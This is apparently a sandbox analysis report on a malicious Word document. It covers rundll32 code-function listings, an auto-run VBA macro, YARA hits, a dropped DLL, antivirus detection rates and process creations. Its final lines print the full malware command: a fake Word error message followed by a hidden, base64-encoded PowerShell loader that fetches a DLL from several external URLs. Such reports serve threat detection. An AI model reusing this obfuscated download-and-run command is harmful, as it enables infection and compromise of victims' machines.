Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025B112 10_2_0025B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00267F1F 10_2_00267F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00268D1C 10_2_00268D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00265D1D 10_2_00265D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026511B 10_2_0026511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025C769 10_2_0025C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00260B68 10_2_00260B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025E377 10_2_0025E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00261773 10_2_00261773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00255B79 10_2_00255B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00258F78 10_2_00258F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00269B45 10_2_00269B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00262349 10_2_00262349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00268F49 10_2_00268F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00256754 10_2_00256754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025B75F 10_2_0025B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002569A0 10_2_002569A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002517AC 10_2_002517AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002673AC 10_2_002673AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002661B8 10_2_002661B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00266DB9 10_2_00266DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00269586 10_2_00269586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026878F 10_2_0026878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025F98C 10_2_0025F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025839D 10_2_0025839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00256D9F 10_2_00256D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00257998 10_2_00257998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00263FE7 10_2_00263FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002631E2 10_2_002631E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002671EF 10_2_002671EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025D7EB 10_2_0025D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002667E9 10_2_002667E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00261BDF 10_2_00261BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00259FDC 10_2_00259FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CB41F 11_2_002CB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C2C63 11_2_002C2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CEE78 11_2_002CEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C568E 11_2_002C568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D3895 11_2_002D3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CC0C6 11_2_002CC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D02C3 11_2_002D02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D42DA 11_2_002D42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C8736 11_2_002C8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C7B63 11_2_002C7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D4B41 11_2_002D4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D63C1 11_2_002D63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C4A35 11_2_002C4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C9A37 11_2_002C9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C2A30 11_2_002C2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D7A0F 11_2_002D7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D340A 11_2_002D340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D5A61 11_2_002D5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D687F 11_2_002D687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CEA4C 11_2_002CEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CF444 11_2_002CF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CE05A 11_2_002CE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DA0AF 11_2_002DA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C62A3 11_2_002C62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C48BD 11_2_002C48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C60B9 11_2_002C60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C80BA 11_2_002C80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C1280 11_2_002C1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D889D 11_2_002D889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C88E5 11_2_002C88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D12E2 11_2_002D12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C1CFA 11_2_002C1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D26F5 11_2_002D26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C96CD 11_2_002C96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D20C5 11_2_002D20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D8ADC 11_2_002D8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C153C 11_2_002C153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CBB3A 11_2_002CBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CF536 11_2_002CF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D0D33 11_2_002D0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D0F0C 11_2_002D0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D7D03 11_2_002D7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D5D1D 11_2_002D5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D8D1C 11_2_002D8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D7F1F 11_2_002D7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D511B 11_2_002D511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D2B16 11_2_002D2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CB112 11_2_002CB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CC769 11_2_002CC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D0B68 11_2_002D0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C8F78 11_2_002C8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C5B79 11_2_002C5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CE377 11_2_002CE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D1773 11_2_002D1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D2349 11_2_002D2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D8F49 11_2_002D8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D9B45 11_2_002D9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CB75F 11_2_002CB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C6754 11_2_002C6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C17AC 11_2_002C17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D73AC 11_2_002D73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C69A0 11_2_002C69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D6DB9 11_2_002D6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D61B8 11_2_002D61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CF98C 11_2_002CF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D878F 11_2_002D878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D9586 11_2_002D9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C839D 11_2_002C839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C6D9F 11_2_002C6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C7998 11_2_002C7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D71EF 11_2_002D71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D67E9 11_2_002D67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CD7EB 11_2_002CD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D3FE7 11_2_002D3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D31E2 11_2_002D31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002C9FDC 11_2_002C9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D1BDF 11_2_002D1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BB41F 12_2_001BB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BEE78 12_2_001BEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B2C63 12_2_001B2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C3895 12_2_001C3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B568E 12_2_001B568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C42DA 12_2_001C42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BC0C6 12_2_001BC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C02C3 12_2_001C02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B8736 12_2_001B8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C4B41 12_2_001C4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B7B63 12_2_001B7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C63C1 12_2_001C63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C7A0F 12_2_001C7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C340A 12_2_001C340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B2A30 12_2_001B2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B9A37 12_2_001B9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B4A35 12_2_001B4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BE05A 12_2_001BE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BEA4C 12_2_001BEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BF444 12_2_001BF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C687F 12_2_001C687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C5A61 12_2_001C5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C889D 12_2_001C889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B1280 12_2_001B1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B80BA 12_2_001B80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B60B9 12_2_001B60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B48BD 12_2_001B48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001CA0AF 12_2_001CA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B62A3 12_2_001B62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C8ADC 12_2_001C8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B96CD 12_2_001B96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C20C5 12_2_001C20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B1CFA 12_2_001B1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C26F5 12_2_001C26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B88E5 12_2_001B88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C12E2 12_2_001C12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C8D1C 12_2_001C8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C5D1D 12_2_001C5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C7F1F 12_2_001C7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C511B 12_2_001C511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BB112 12_2_001BB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C2B16 12_2_001C2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C0F0C 12_2_001C0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C7D03 12_2_001C7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BBB3A 12_2_001BBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B153C 12_2_001B153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BF536 12_2_001BF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C0D33 12_2_001C0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BB75F 12_2_001BB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B6754 12_2_001B6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C8F49 12_2_001C8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C2349 12_2_001C2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C9B45 12_2_001C9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B5B79 12_2_001B5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B8F78 12_2_001B8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BE377 12_2_001BE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C1773 12_2_001C1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BC769 12_2_001BC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C0B68 12_2_001C0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B7998 12_2_001B7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B6D9F 12_2_001B6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B839D 12_2_001B839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C878F 12_2_001C878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BF98C 12_2_001BF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C9586 12_2_001C9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C61B8 12_2_001C61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C6DB9 12_2_001C6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C73AC 12_2_001C73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B17AC 12_2_001B17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B69A0 12_2_001B69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C1BDF 12_2_001C1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001B9FDC 12_2_001B9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BD7EB 12_2_001BD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C71EF 12_2_001C71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001C67E9 12_2_001C67E9
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: info.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Sjtq5nhmztw, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: info.doc OLE indicator, VBA macros: true
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Xts_nmf\P4188qk\U95D.dll 7A045B94A661BA72BD4EC82E99032232C195E7249A386CA04C3349FA8A977B8C
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10029D17 appears 108 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10026566 appears 66 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 100040F0 appears 118 times
Yara signature match
Source: 00000005.00000002.2086257374.0000000001C56000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2086147176.0000000000336000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: U95D.dll.5.dr Static PE information: Section: .rsrc ZLIB complexity 0.995798093463
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@36/7@1/4
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$info.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC0A0.tmp Jump to behavior
Source: info.doc OLE indicator, Word Document stream: true
Source: info.doc OLE document summary: title field not present or empty
Source: info.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ............U........................... ...............................................#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............U...,...............A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......(.......L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................x...............................x.....................`I.........v.....................K........S............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................0................................3e..... .........u.............}..v....(....... ...............................,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................>Q.j..... u...............u.............}..v............0.................S.............,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................Q.j......................u.............}..v............0...............................,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................Q.j......S...............u.............}..v............0...............x.S.............,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................Q.j......................u.............}..v............0...............................,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................Q.j..... u...............u.............}..v....X.......0.................S.............,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'...............^o.j....E.................u.............}..v....pB......0.................S.............,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....+...............^o.j....E.................u.............}..v............0.................S.............,............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL
Source: info.doc Virustotal: Detection: 64%
Source: info.doc Metadefender: Detection: 41%
Source: info.doc ReversingLabs: Detection: 79%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0A
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
